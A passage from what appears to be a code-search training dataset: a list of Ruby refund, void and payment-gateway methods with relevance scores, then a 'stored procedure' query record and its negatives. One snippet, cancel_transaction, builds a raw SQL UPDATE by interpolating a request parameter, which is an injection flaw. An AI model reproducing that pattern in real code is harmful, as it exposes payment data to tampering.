"def create_transaction_refund(transaction_id, amount, profile_id, payment_profile_id, order = nil, options = {})\n handle_transaction_id(transaction_id)\n create_transaction(:refund, amount, profile_id, payment_profile_id, order, options)\n end",
"def refund(money, authorization, options={})\n execute_dependant(:refund, money, authorization, options)\n end",
"def create_financial_transaction_refund_deposit\n if self.sum_deposit_available_for_refund > 0\n financial_transaction = {\n transaction_type: 'payin_refund',\n purpose: 'deposit',\n amount: self.sum_deposit_available_for_refund,\n fees: 0,\n src_type: :src_payin_vid,\n src_vid: self.financial_transactions.payin.finished.take.transaction_vid\n }\n t = self.financial_transactions.create( financial_transaction )\n\n # FIXME(RA): should be triggered from a job:\n t.process!\n else\n LOG.error \"Not possible to refund a negative value.\"\n end\n end",
"def update\n orig = CardTransaction.find(params[:id])\n debug 'orig loaded'\n trans = orig.clone\n debug 'orig cloned'\n trans.amount = params[:card_transaction][:amount]\n trans.save\n debug 'trans saved'\n debug \"transaction: #{trans.inspect}\"\n stat = do_refund(orig, trans)\n debug stat.inspect\n if transaction['respstat'] == 'A' && trans.receiptData?\n redirect_to payment_receipt_url(trans.id)\n else\n redirect_to payments_url # the list of payments\n end\n rescue\n redirect_to payments_url # the list of payments\n end",
"def cancel status=:canceled\n result = true\n\n # Refund all transactions associated with order\n self.select_order_transactions.payments.each do |t|\n result = self.braintree_refund_transaction t\n end\n\n # Mark the order as canceled if all braintree refunds succeeded\n if result\n self.edit_mode = false\n self.status = status\n self.save\n end\n\n # Return result\n result\n end",
"def refund!\n if refundable?\n self.class.transaction do\n transaction = Transaction.build do |tr|\n tr.description = \"Refund Bounty(#{id}) - Bounty Amount: $#{amount} Refunded: $#{amount}\"\n tr.splits.create(amount: -amount, item: issue)\n if owner_type == \"Team\"\n tr.splits.create(amount: +amount, item: owner)\n else\n tr.splits.create(amount: +amount, item: person)\n end\n end\n\n transaction or raise ActiveRecord::Rollback\n\n # update bounty to 'refunded' status or rollback\n update_attributes status: Status::REFUNDED or raise ActiveRecord::Rollback\n\n # email the backer\n person.send_email :bounty_refunded, bounty: self, transaction: transaction\n end\n\n # update displayed bounty total on issue\n issue.delay.update_bounty_total\n end\n end",
"def refund(item_refund)\n item_refund.save!\n remaining_refund_amount = item_refund.total\n refund_payments = payments(item_refund)\n refund_payments.each do |payment|\n next if remaining_refund_amount <= 0\n amount_to_refund = calculate_amount_to_refund(payment, remaining_refund_amount)\n remaining_refund_amount -= amount_to_refund\n\n create_refund(item_refund, payment, amount_to_refund)\n end\n end",
"def refund(money, authorization, options = {})\n post = {}\n add_order_id(post, order_id_from(authorization))\n add_amount(post, money, options)\n\n commit('Credit', post, options)\n end",
"def create_financial_transaction_refund_payin ft_to_refund\n financial_transaction = {\n transaction_type: 'payin_refund',\n purpose: ft_to_refund.purpose,\n src_type: :src_payin_vid,\n src_vid: ft_to_refund.transaction_vid\n }\n t = self.financial_transactions.create( financial_transaction )\n\n # called from a BookingProcessPayinRefundJob:\n # t.process!\n BookingProcessPayinRefundJob.perform_later self\n end",
"def void(authorization, options = {})\n post = {}\n order_id, amount, currency = split_authorization(authorization)\n add_order_id(post, order_id)\n post['Total'] = (options[:amount] || amount)\n post['CurrencyCode'] = currency\n\n commit('Refund', post, options)\n end",
"def refund amount, capture_id, options={}\n options[:capture_id] = capture_id if capture_id\n\n if amount\n options[:amount] = assert_currency options[:currency], amount\n end\n\n response = flow_instance.refunds.post @flow_organization, options\n\n if response.try(:id)\n Response.new true, 'Flow refund - Success', { response: response }\n else\n Response.new false, 'Flow refund - Error', { response: response }\n end\n rescue Io::Flow::V0::HttpClient::ServerError => exception\n error_response exception\n end",
"def refund(money, reference, options = {})\n standard_response\n end",
"def refund\n request = Remit::Refund::Request.new(transaction_id: transaction_id, caller_reference: caller_reference)\n response = remit.refund request\n response.errors.empty?\n end",
"def refund!\n response = credit_card.credit!(total_amount_in_cents, payment.authorization)\n self.response = response\n self.description = response.message\n self.authorization = response.authorization\n if response.success?\n invoice.update_attribute(:status, \"closed\")\n self.status = \"cleared\"\n self.save!\n return true\n else\n self.status = \"failed\"\n for item in self.line_items\n item.amount = 0\n end\n self.save!\n return false\n end\n end",
"def refund(original_reference:, amount:, reference:, merchantAccount: @merchant_account, currency: @currency)\n postJSON(\"/Payment/v12/refund\",\n reference: reference,\n merchantAccount: merchant_account,\n modificationAmount: { value: amount, currency: currency },\n originalReference: original_reference\n )\n end",
"def cancel_refund\n price - price * cancel_factor\n end",
"def refund(params = {})\n req = WebPay::ChargeRequestRefund.create(params)\n raw_response = @client._request(:post, 'charges' + '/' + req.id.to_s + '/' + 'refund', req)\n WebPay::ChargeResponse.new(raw_response)\n end",
"def refund(tid, refund)\n begin\n #creating url\n url = \"#{@security.environment}/transactions/#{tid}/refunds\"\n\n # make the request.\n json_response = Rede::CommonRequest::post(url, refund, @security)\n\n # mapping the result.\n response = Rede::RefundResponse.map(json_response)\n\n rescue Exception => e\n response = Rede::RefundResponse.new(:return_code => Rede::ReturnCode::UNSUCCESSFUL, :return_message => e.message)\n end\n\n return response\n end",
"def refund(identification, options = {})\n hash = {\n total: options[:total],\n transaction_id: identification\n }\n process_credit_card_refund_with_transaction_id_v1(hash)\n end",
"def refund(credit_card, authorization, options = {})\n post = {}\n\n auth_string_codes = get_authorization_paytype_and_subtranstype(authorization)\n self.ref = auth_string_codes[:authorization]\n post[:paytype] = auth_string_codes[:paytype]\n post[:ccdate] = auth_string_codes[:ccdate]\n post[:subtranstype] = auth_string_codes[:subtranstype]\n post[:refundauthcode] = options[:refundauthcode]\n add_credit_card(post, credit_card)\n commit(post)\n end",
"def refund(\n amazon_capture_id,\n refund_reference_id,\n amount,\n currency_code: @currency_code,\n seller_refund_note: nil,\n soft_descriptor: nil,\n provider_credit_reversal_details: nil,\n merchant_id: @merchant_id,\n mws_auth_token: nil\n )\n\n parameters = {\n 'Action' => 'Refund',\n 'SellerId' => merchant_id,\n 'AmazonCaptureId' => amazon_capture_id,\n 'RefundReferenceId' => refund_reference_id,\n 'RefundAmount.Amount' => amount,\n 'RefundAmount.CurrencyCode' => currency_code\n }\n\n optional = {\n 'SellerRefundNote' => seller_refund_note,\n 'SoftDescriptor' => soft_descriptor,\n 'MWSAuthToken' => mws_auth_token\n }\n\n optional.merge!(set_provider_credit_reversal_details(provider_credit_reversal_details)) if provider_credit_reversal_details\n\n operation(parameters, optional)\n end",
"def refund_payment(customer, reason)\n refund = Stripe::Refund.create({\n :charge => self.charge,\n :refund_application_fee => true\n },\n {\n :stripe_account => self.reservation.listing.user.uid\n })\n\n refund\n end",
"def rollback_item\n ingreso_producto = self.ingreso_producto\n ingreso_producto.cantidad = ingreso_producto.cantidad + self.cantidad\n ingreso_producto.producto.stock = ingreso_producto.producto.stock + self.cantidad #suma al stock si se anula\n Lineakardex.create(:kardex => ingreso_producto.producto.kardex, :tipo => \"Entrada\", :fecha => Time.now, :cantidad => self.cantidad, :v_unitario => self.ingreso_producto.producto.precio_venta, :modulo => \"Hospitalizacion\", :observaciones => \"Pedido Anulado\" )\n ingreso_producto.save\n ingreso_producto.producto.save\n end",
"def refund( trans_id, amount_in_cents )\n resp = client.refund(\n token: payment.token,\n trans_id: trans_id,\n amount: amount_in_cents.to_i.abs\n ).body\n\n user.refunds.create!(\n amount_in_cents: amount_in_cents,\n description: \"Refund value\",\n metadata: resp.as_json\n )\n rescue BridgePay::ResponseError => ex\n raise RefundFailure.new( ex.response )\n end",
"def refund_backers!\n self.class.transaction do\n Transaction.build do |tr|\n tr.description = \"Refund Fundraiser(#{id}) #{pledges_count} Pledges - Total Pledges: $#{total_pledged} Account Balance: $#{account_balance}\"\n\n # remove all money from the fundraiser account\n tr.splits.create(amount: -account_balance, item: self)\n\n # for each pledge, add a split adding money to person accounts\n pledges.find_each do |pledge|\n # get the amount to refund (pledge split where account is this fundraiser)\n if (split = pledge.splits.find_by_account_id(account.id))\n tr.splits.create(amount: split.amount, item: pledge.person)\n end\n end\n end\n end\n end",
"def refund_status\n nil\n end",
"def process_refund\n express_token ?\n EXPRESS_PAYPAL_GATEWAY.refund(nil, capture_authorization) :\n STANDARD_PAYPAL_GATEWAY.refund(nil, capture_authorization)\n end",
"def refund(merchant_access_token)\n Requests::RefundOrder.new(merchant_access_token: merchant_access_token).\n send_to_api(:post, endpoint_path + '/refund')\n end",
"def receive_payment!(transaction)\n receive_payment(transaction)\n transaction.save!\n self.save!\n end",
"def decline_refund\n response = JSON.parse(@client.patch(\"items/#{send(:id)}/decline_refund\").body)\n @attributes = response['items']\n true\n end",
"def refund_params\n params.require(:refund).permit(:credit_base, :credit_fee, :customer_id, :gateway, fields: {})\n end",
"def pay_back\n return false unless valid?\n\n commit_or_rollback do\n res = save_expense\n res = create_ledger\n\n set_errors(expense, ledger) unless res\n\n res\n end\n end",
"def cancel!\n if transfer.present? && transfer.complete?\n return!\n update cancelled_at: Time.current\n else\n transfer.destroy! if transfer.present?\n destroy!\n end\n order.update_shipped!\n end",
"def add_refunds\n @proposal.refunds.each do |bank_account, amount|\n run_task \"add_refunds_#{bank_account}\" do\n if transfer = add_bank_transfer(bank_account, @export.receivables_account, amount)\n current_state[:transfer_id] = transfer['BankTransferID']\n end\n end\n end\n end",
"def transfer_funds()\n vendor = Portfolio.find(self.seller_id)\n customer = Portfolio.find(self.buyer_id)\n amount = self.transaction_cost\n customer.balance -= amount\n vendor.balance += amount\n \n Transactor.transaction do \n raise \"Transaction of funds failed!\" unless customer.save && vendor.save\n end\n end",
"def test_successful_refund\n assert response = @gateway.purchase(@amount, @credit_card, @options)\n assert_successful_response(response)\n\n assert response = @gateway.refund(@amount, response.authorization)\n assert_successful_response(response)\n end",
"def request_refund(options = {})\n response = JSON.parse(@client.patch(\"items/#{send(:id)}/request_refund\", options).body)\n @attributes = response['items']\n true\n end",
"def request_refund(options = {})\n response = JSON.parse(@client.patch(\"items/#{send(:id)}/request_refund\", options).body)\n @attributes = response['items']\n true\n end",
"def cancel!\n if AccountTransaction.transfer(self.num * self.price, self.startup.account, self.startup.account, :escrow, :balance).new_record?\n self.errors.add(:num, 'could not be refunded to your startup\\'s balance') \n return false\n end\n if self.responses.count > 0\n self.num = 0\n self.save\n else\n self.destroy\n end\n end",
"def mark_complete\n ActiveRecord::Base.transaction do\n find_order\n separate_shipment_costs\n assert_refund_adjustments params['refund_items'], true\n @order.update!\n end\n settle_payments_if_desired\n render text: @settlement_results.to_json\n end",
"def cancel_or_refund(original_reference:, reference:, merchantAccount: @merchant_account)\n postJSON(\"/Payment/v12/cancelOrRefund\",\n reference: reference,\n merchantAccount: merchant_account,\n originalReference: original_reference\n )\n end",
"def refund(id, params = {}, options = {})\n response = request(:post, resource_path(\"captures/#{id}/refund\"), params, options)\n FatZebra::Paypal::Refund.initialize_from(response)\n end",
"def create\n @refund = Refund.new(refund_params)\n\n respond_to do |format|\n if @refund.save\n format.html do\n redirect_to(\n seller_product_purchases_path(@seller, @product),\n notice: 'Refund was successfully created.'\n )\n end\n format.json { render :show, status: :created, location: @refund }\n else\n format.html { render :new }\n format.json { render json: @refund.errors, status: :unprocessable_entity }\n end\n end\n end",
"def refund token, payload={}\n payload.merge! :namespace => 'refund', :token => token\n invoke :put, payload\n end",
"def transfer\n @purchase = Purchase.find_by(invoice_id: params[:invoice_id])\n @bank_account = BankAccount.first\n end",
"def adjust(order)\n label = create_label\n if included_in_price\n if Zone.default_tax.contains? order.tax_zone\n order.line_items.each { |line_item| create_adjustment(label, line_item, line_item) }\n else\n amount = -1 * calculator.compute(order)\n label = I18n.t(:refund) + label\n order.adjustments.create({ :amount => amount,\n :source => order,\n :originator => self,\n :locked => true,\n :label => label }, :without_protection => true)\n end\n else\n create_adjustment(label, order, order)\n end\n end",
"def finalize_transaction(type='purchase')\n self.save\n self.user.make_paid! if (!user.nil? && user.persisted?)\n self.transactions.create(action:type, amount: self.price_in_cents, response: self.purchase_response)\n end",
"def credit(money, identification, options = {})\n order = retrieve_order(identification)\n return order if order.is_a?(Response)\n response = commit(build_do_refund_request(identification, order[:country_code]))\n if response.success?\n commit(build_set_refund_request(identification, order[:payment_product_id]))\n else\n response\n end\n end",
"def resend_receipt\n @order = Order.find(params[:id])\n #@order.cleanup_successful\n # Send success message\n @order.deliver_receipt\n redirect_to :action => 'show', :id => @order.id\n end",
"def saveReceipt\n\t\tcurrent_time = DateTime.now\n\t\tReceipt.create!(:concept => params[:tipofactura],\n\t\t\t\t\t\t\t:subtotal => params[:subtotal],\n\t\t\t\t\t\t\t:total => params[:pagototal],\n\t\t\t\t\t\t\t:iva => params[:iva],\n\t\t\t\t\t\t\t:xml => params[:rawxml],\n\t\t\t\t\t\t\t:users_id => current_user.id,\n\t\t\t\t\t\t\t:created_at => current_time,\n\t\t\t\t\t\t\t:updated_at => current_time,\n\t\t\t\t\t\t\t:user_email => current_user.email,\n\t\t\t\t\t\t\t:emisor => params[:emisor],\n\t\t\t\t\t\t\t:rfcEmisor => params[:rfcemisor],\n\t\t\t\t\t\t\t:receptor => params[:receptor],\n\t\t\t\t\t\t\t:rfcReceptor => params[:rfcreceptor])\n\t\tredirect_to action: 'viewInvoices' , email: current_user.email\n\tend",
"def test_seed_refund_no_adj\n data = {}\n data[:name] = 'Jean-Baptiste Poquelin'\n data[:external_key] = 'jeanpoquelin'\n data[:email] = 'jeanpoquelin@kb.com'\n data[:currency] = 'EUR'\n data[:time_zone] = 'Europe/Paris'\n data[:address1] = '17, rue Saint-Honore'\n data[:address2] = nil\n data[:postal_code] = '75000'\n data[:company] = nil\n data[:city] = 'Paris'\n data[:state] = 'Region Parisienne'\n data[:country] = 'France'\n data[:locale] = 'fr_FR'\n\n @jeanpoquelin = create_account_with_data(@user, data, @options)\n add_payment_method(@jeanpoquelin.account_id, '__EXTERNAL_PAYMENT__', true, nil, @user, @options)\n\n base1 = create_entitlement_base(@jeanpoquelin.account_id, 'reserved-metal', 'MONTHLY', 'DEFAULT', @user, @options)\n wait_for_expected_clause(1, @jeanpoquelin, @options, &@proc_account_invoices_nb)\n\n # Second invoice\n kb_clock_add_days(31, nil, @options) # 2015-09-01\n wait_for_expected_clause(2, @jeanpoquelin, @options, &@proc_account_invoices_nb)\n\n kb_clock_add_days(1, nil, @options) # 2015-09-02\n\n base1.cancel(@user, nil, nil, nil, 'IMMEDIATE', 'END_OF_TERM', nil, @options)\n\n payments = get_payments_for_account(@jeanpoquelin.account_id, @options)\n\n refund(payments[1].payment_id, payments[1].purchased_amount, nil, @user, @options)\n end",
"def save_purchase_order!\n purchase_order.save! unless purchase_order.nil? || purchase_order.new_record?\n end",
"def void\n \n resp = StdClass.new\n t = InvoiceTransaction.where(:invoice_id => self.id, :transaction_type => InvoiceTransaction::TYPE_AUTHORIZE, :success => true).first\n \n if self.financial_status == Invoice::FINANCIAL_STATUS_CAPTURED\n resp.error = \"This invoice has already been captured, you will need to refund instead\"\n elsif t.nil?\n resp.error = \"This invoice doesn't seem to be authorized.\"\n else\n \n sc = self.site.store_config\n ot = Caboose::InvoiceTransaction.new(\n :invoice_id => self.id,\n :date_processed => DateTime.now.utc,\n :transaction_type => InvoiceTransaction::TYPE_VOID,\n :payment_processor => sc.pp_name,\n :amount => self.total\n )\n \n case sc.pp_name\n when 'authorize.net' \n response = AuthorizeNet::SIM::Transaction.new(\n sc.authnet_api_login_id, \n sc.authnet_api_transaction_key, \n self.total,\n :transaction_type => InvoiceTransaction::TYPE_VOID,\n :transaction_id => t.transaction_id,\n :test => sc.pp_testing\n ) \n self.update_attributes(\n :financial_status => Invoice::FINANCIAL_STATUS_VOIDED,\n :status => Invoice::STATUS_CANCELED\n )\n self.save \n # TODO: Add the variant quantities invoiceed back \n resp.success = \"Invoice voided successfully\"\n \n ot.success = response.response_code && response.response_code == '1' \n ot.transaction_id = response.transaction_id\n #ot.auth_code = response.authorization_code\n ot.response_code = response.response_code \n ot.save\n \n when 'stripe'\n # TODO: Implement void invoice for strip\n \n when 'payscape'\n # TODO: Implement void invoice for payscape\n \n end\n \n end\n return resp \n end",
"def refunds\n RefundRepository.new(api).all(token)\n end",
"def payment_revert\n invoice = Invoice.find(params[:id])\n invoice.payment_received = false\n invoice.save!\n redirect_to root_path\n end",
"def update_tran\n self.tran.update_attributes(date: self.date)\n\n if self.account_trans.count == 1\n tran_amount = self.discrepancies ? self.amount - self.discrepancies : self.amount\n tran_amount *= -1\n self.account_trans.first.update_attributes(date: self.date, amount: tran_amount)\n\n self.create_discrepancies\n else\n tran_amount = self.discrepancies ? self.amount - self.discrepancies : self.amount\n tran_amount *= -1\n self.account_trans.first.update_attributes(date: self.date, amount: tran_amount)\n if self.discrepancies\n self.account_trans.second.update_attributes(date: self.date, amount: self.discrepancies)\n else\n self.account_trans.second.destroy\n end\n end\n end",
"def new_order_v1\n begin\n @parsed_json[\"order_items\"] ? order_items = @parsed_json[\"order_items\"] : nil\n @parsed_json[\"location_id\"] ? location_id = @parsed_json[\"location_id\"].to_i : nil\n location = Location.find_by_id(location_id)\n tax = location.tax #look up tax of location manually\n if location.nil? || location_id.nil? || order_items.nil? || tax.nil?\n return render :status => 404, :json => {:status => :failed, :error => \"Resource not found\"}\n end\n ActiveRecord::Base.transaction do\n if Order.is_current(@user.id, location)\n current_order = Order.find_by_user_id_and_location_id_and_is_paid_and_is_cancel(@user.id, location.id, 0, 0)\n ordered_date = current_order.created_at\n if current_order.order_items.length > 0\n ordered_date = Time.now.utc\n end\n\n order_item = OrderItem.add_new_item_v1(order_items, current_order)\n\n # re-calculate sub_price of order\n sub_price = Order.calculate_sub_price(current_order)\n fee = location.service_fee_type=='fixed'? location.fee : sub_price / 100 * location.fee\n\n if !order_item.prize_id.nil? && order_item.is_prize_item == 1\n current_order.update_attributes!(\n :location_id => location.id,\n :tax => tax,\n :fee => fee,\n :created_at => ordered_date,\n :status => 1,\n :sub_price => sub_price\n )\n else\n current_order.update_attributes!(\n :location_id => location.id,\n :tax => tax,\n :fee => fee,\n :created_at => ordered_date,\n :sub_price => sub_price\n )\n end\n\n if current_order.in_order?\n current_order.update_attributes!(:status => 2)\n end\n\n total_price = Order.calculate_total_price(current_order)\n current_order.update_attribute('total_price', total_price)\n\n return render :status => 200,\n :json => {\n :status => :success,\n :order_id => current_order.id,\n :order_item_id => order_item.id,\n :order_item_status => order_item.status\n }\n else # this is a brand-new Order\n today_orders = Order.where('created_at > ?', Time.now.strftime(\"%Y-%m-%d\")+\" 00:00:00\")\n\n new_order = Order.new\n new_order.user_id = @user.id\n new_order.tax = tax\n new_order.location_id = location.id\n new_order.timezone = location.timezone\n new_order.receipt_day_id = Order.next_receipt_no(location)\n new_order.ticket = today_orders.count+1\n order_item = OrderItem.add_new_item_v1(order_items, new_order)\n # if user added a prize item to cart, status of cart would be changed to ordered\n if !order_item.prize_id.nil? && order_item.is_prize_item == 1\n new_order.status = 1\n end\n sub_price = Order.calculate_sub_price(new_order)\n new_order.sub_price = sub_price\n new_order.total_tax = sub_price * tax\n new_order.total_tip = -2\n new_order.tip_percent = 0.16\n new_order.fee = location.service_fee_type=='fixed'? location.fee : sub_price / 100 * location.fee\n new_order.save!\n\n total_price = Order.calculate_total_price(new_order)\n new_order.update_attribute('total_price', total_price)\n # Automatically check the user in at this location (to allow item grading)\n @user.checkin_at(location, false)\n\n return render :status => 200,\n :json => {\n :status => :success,\n :order_id => new_order.id,\n :order_item_id => order_item.id,\n :order_item_status => order_item.status\n }\n end\n end\n rescue\n return render :status => 500, :json => {:status => :failed, :error => \"Internal Service Error\"}\n end\n end",
"def first_data_reverse\n raise('This is already reversed') if self.status.to_s == 'reversed'\n if trx = self.first_data_transactions.where(status: 'completed').first\n response = self.class.gateway.refund(self.price, trx.transaction_id)\n if response[:result] == 'OK'\n trx.status = 'reversed'\n trx.transaction_code = response[:result_code]\n return trx.save!\n end\n end\n end",
"def cancel\n @order.cancel!\n return redirect_to order_path(@order), :notice => t(:update_success)\n end",
"def rollback_transaction(tx)\n # nothing to do\n end",
"def refund\n\t\tto_be_refunded = refund_amount\n\n\t\tputs \"To be refunded: #{to_be_refunded}\"\n\n\t\tif to_be_refunded <= 0\n\t\t\tputs \"Nothing to refund. Done\"\n\t\t\trefund_receipt\n\t\t\treturn true\n\t\tend\n\n\t\t#Check that all payments are settled\n\t\tself.payments.each do |payment|\n\t\t\tif payment.transaction.status != \"settled\"\n\t\t\t\tputs \"Payments not settled.\"\n\t\t\t\trefund_failed\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\tputs \"All payments are settled\"\n\n\t\t#All payments are settled, proceed to refund. Starting with highest amount.\n\t\tself.payments.sort_by(&:amount).reverse.each do |payment|\n\t\t\tputs \"Payment #{payment.id} of which #{payment.total_left} is not refunded.\"\n\n\t\t\tif to_be_refunded < payment.total_left\n\t\t\t\tputs \"Attempt partial refund\"\n\t\t\t\tto_be_refunded -= payment.refund(to_be_refunded)\n\t\t\telse\n\t\t\t\tputs \"Attempt full refund\"\n\t\t\t\tto_be_refunded -= payment.refund\n\t\t\tend\n\n\t\t\tif to_be_refunded <= 0\n\t\t\t\tputs \"Nothing left to refund. Done\"\n\t\t\t\trefund_receipt\n\t\t\t\treturn true\n\t\t\tend\n\n\t\t\tputs \"Left to be refunded: #{to_be_refunded}\"\n\t\tend\n\n\t\tputs \"An error occured when refunding #{self.student.forename} #{self.student.surname}'s enrollment in #{self.course.title}.\"\n\t\trefund_failed\n\t\treturn false\n\tend",
"def rollback_balance(transaction)\n if transaction.succeeded?\n sign = transaction.payment? ? -1 : 1\n self.balance.update_attributes!(amount: (self.balance.amount + (BigDecimal.new(transaction.amount_was) * sign)))\n end\n end",
"def cancel(transaction_id)\n response = provider.void(transaction_id, nil)\n provider.refund(nil, nil, transaction_id, {refund_all: true}) unless response.success?\n end",
"def cancel_transaction\n @dps_pxpay_id = params[:id]\n zencartdps_pxpay_record = ActiveRecord::Base.connection.update(\n \"UPDATE zencartdps_pxpay SET success = 0, response_text = '' WHERE dps_pxpay_id = #{@dps_pxpay_id}\"\n )\n if zencartdps_pxpay_record > 0\n flash[:notice] = 'The transaction was cancelled'\n else\n flash[:error] = 'An error happened. The transaction was not cancelled'\n end\n\n redirect_to :action => :new_order, :id => @dps_pxpay_id\n end",
"def transfer\n @purchase = Purchase.find_by(invoice_id: params[:invoice_id])\n authorize(@purchase)\n @bank_account = BankAccount.first\n end",
"def destroy\n order = Order.find(params[:id])\n response = order.refund\n if response['status'] == 'failed'\n flash[:notice] = 'Refund failed. Please try again shortly'\n else\n flash[:notice] = 'You have successfully refunded this order.'\n end\n respond_to do |format|\n format.html {redirect_to restaurant_orders_restaurant_order_index_path}\n format.json {render json: response}\n end\n end",
"def refund_payment(credentials, payment_id, currency, amount)\n Client.new(\n AccesstypeAdyen::CONFIG[credentials[:environment].to_sym],\n credentials\n ).refund_payment(\n payment_id,\n currency,\n amount,\n credentials[:merchant_account]\n )\n end",
"def refund_transaction_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.refund_transaction ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PaymentsTransactionsApi.refund_transaction\"\n end\n # resource path\n local_var_path = \"/transactions/{id}/refunds\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'request'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RefundResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#refund_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_finalize_refund\n status == REFUND_REQUESTED && update(status: REFUND_FINALIZED)\n end",
"def withdraw exit_date, estimated_return_date, pickup_company, pickup_company_contact, additional_comments, quantity, folio\n \n return self.status if cannot_withdraw?\n\n if quantity != '' and quantity < self.quantity.to_i\n self.quantity = self.quantity.to_i - quantity\n quantity_withdrawn = quantity\n else\n self.status = InventoryItem::OUT_OF_STOCK\n quantity_withdrawn = self.quantity\n self.quantity = 0\n end\n \n if self.save\n inventory_item = InventoryItem.where( 'actable_id = ? AND actable_type = ?', self.id, 'BulkItem' ).first\n if self.warehouse_locations?\n quantity_left = quantity\n if quantity != '' and quantity < ( self.quantity.to_i + quantity_withdrawn.to_i )\n item_location = self.item_locations.where( 'quantity >= ?', quantity ).first\n location = item_location.warehouse_location\n location.remove_quantity( inventory_item.id, quantity )\n elsif quantity != ''\n while quantity_left > 0\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n if quantity_left >= item_location.quantity \n current_location_quantity = item_location.quantity \n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n else\n location.remove_quantity( inventory_item.id, quantity_left )\n end\n quantity_left = quantity_left - current_location_quantity\n end\n else\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n end\n end\n CheckOutTransaction.create( :inventory_item_id => inventory_item.id, :concept => 'Salida granel', :additional_comments => additional_comments, :exit_date => exit_date, :estimated_return_date => estimated_return_date, :pickup_company => pickup_company, :pickup_company_contact => pickup_company_contact, :quantity => quantity_withdrawn, :folio => folio )\n return true\n end\n\n return false\n end",
"def create\n @transaction = Transaction.new(transaction_params)\n\n # rollback all db records once one fail\n transaction = @transaction.transaction do\n amount = transaction_params.dig(:amount).to_d\n @transaction.user.apply_withdrawal(amount)\n @transaction.transaction_with.apply_deposite(amount)\n # create a second transaction record for depoiste, this record useful for\n # history\n Transaction.create(\n amount: @transaction.amount, user: @transaction.transaction_with,\n transaction_state: 'deposite', transaction_with: @transaction.user\n )\n @transaction.save\n end\n\n respond_to do |format|\n if transaction\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def void\n @order = Order.find(params[:id])\n # Don't try to void an order that's missing a transaction id\n if @order.auth_transaction_id.blank? then\n flash[:notice] = \"The system doesn't have a record of the payment processor's transaction id for this order.<br/>This transaction can't be voided.\"\n redirect_to :action => 'show', :id => @order.id\n end\n # Get a transaction ready to be voided\n transaction = @order.get_void_transaction\n begin\n transaction.submit\n message = \"Order voided successfully:<br/>#{transaction.authorization}\"\n # Save transaction id for later\n #@order.auth_transaction_id = transaction.transaction_id\n # Set the order status to cancelled / voided\n @order.order_status_code_id = 8\n @order.new_notes = message\n @order.save\n # Flash the success or error message and redirect to show.\n flash[:notice] = message\n redirect_to :action => 'show', :id => @order.id\n rescue\n # Order failed - store transaction id\n #@order.auth_transaction_id = transaction.transaction_id\n # Log errors\n logger.error(\"\\n\\n[ERROR] FAILED ORDER VOID \\n\")\n logger.error(transaction.inspect)\n logger.error(\"\\n\\n\")\n # Redirect to checkout and allow them to enter info again.\n message = \"Order void failed:<br/>\"\n message << \"#{transaction.error_message}<br/>\"\n @order.new_notes = message\n @order.save\n # Flash the success or error message and redirect to show.\n flash[:notice] = message\n redirect_to :action => 'show', :id => @order.id\n end\n end"
] |
[
"0.7600811",
"0.75682425",
"0.716211",
"0.7126755",
"0.7068625",
"0.7058066",
"0.7056174",
"0.7049028",
"0.70214844",
"0.70095426",
"0.6954271",
"0.6883908",
"0.68317455",
"0.679138",
"0.6759196",
"0.6695405",
"0.6665431",
"0.66472715",
"0.6641184",
"0.6633623",
"0.66217804",
"0.66143036",
"0.6610822",
"0.6579319",
"0.6554211",
"0.6547466",
"0.6518805",
"0.65024245",
"0.6499276",
"0.64908445",
"0.64816815",
"0.6466106",
"0.6448032",
"0.6447834",
"0.6437252",
"0.6366109",
"0.6363154",
"0.6341749",
"0.6334982",
"0.63283575",
"0.63261515",
"0.6301474",
"0.61933774",
"0.6109814",
"0.6088861",
"0.6081189",
"0.6051595",
"0.60390276",
"0.6034291",
"0.6010468",
"0.599564",
"0.5980869",
"0.59765077",
"0.59505427",
"0.5947623",
"0.59165543",
"0.5877762",
"0.58765835",
"0.58585846",
"0.5829504",
"0.58038896",
"0.5778625",
"0.57739407",
"0.57644844",
"0.5748452",
"0.5748452",
"0.5737636",
"0.57376015",
"0.5733577",
"0.57285786",
"0.5726998",
"0.5725354",
"0.5712311",
"0.56871504",
"0.5684705",
"0.56802225",
"0.5671004",
"0.56681395",
"0.5663843",
"0.56597424",
"0.56549865",
"0.564653",
"0.56329525",
"0.5626386",
"0.5610463",
"0.5607268",
"0.5595401",
"0.55930406",
"0.5573837",
"0.5573524",
"0.55732584",
"0.557113",
"0.5568862",
"0.5560028",
"0.55588627",
"0.5555886",
"0.55548966",
"0.5552182",
"0.5542062",
"0.5537151"
] |
0.7439311
|
2
|
Get details of a stored procedure
|
def stored_procedure(name)
get "#{base_url}/storedprocedures/#{name}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inspect\n \"<#{self.class.name}/StoredProcedure name=#{@sproc_name}>\"\n end",
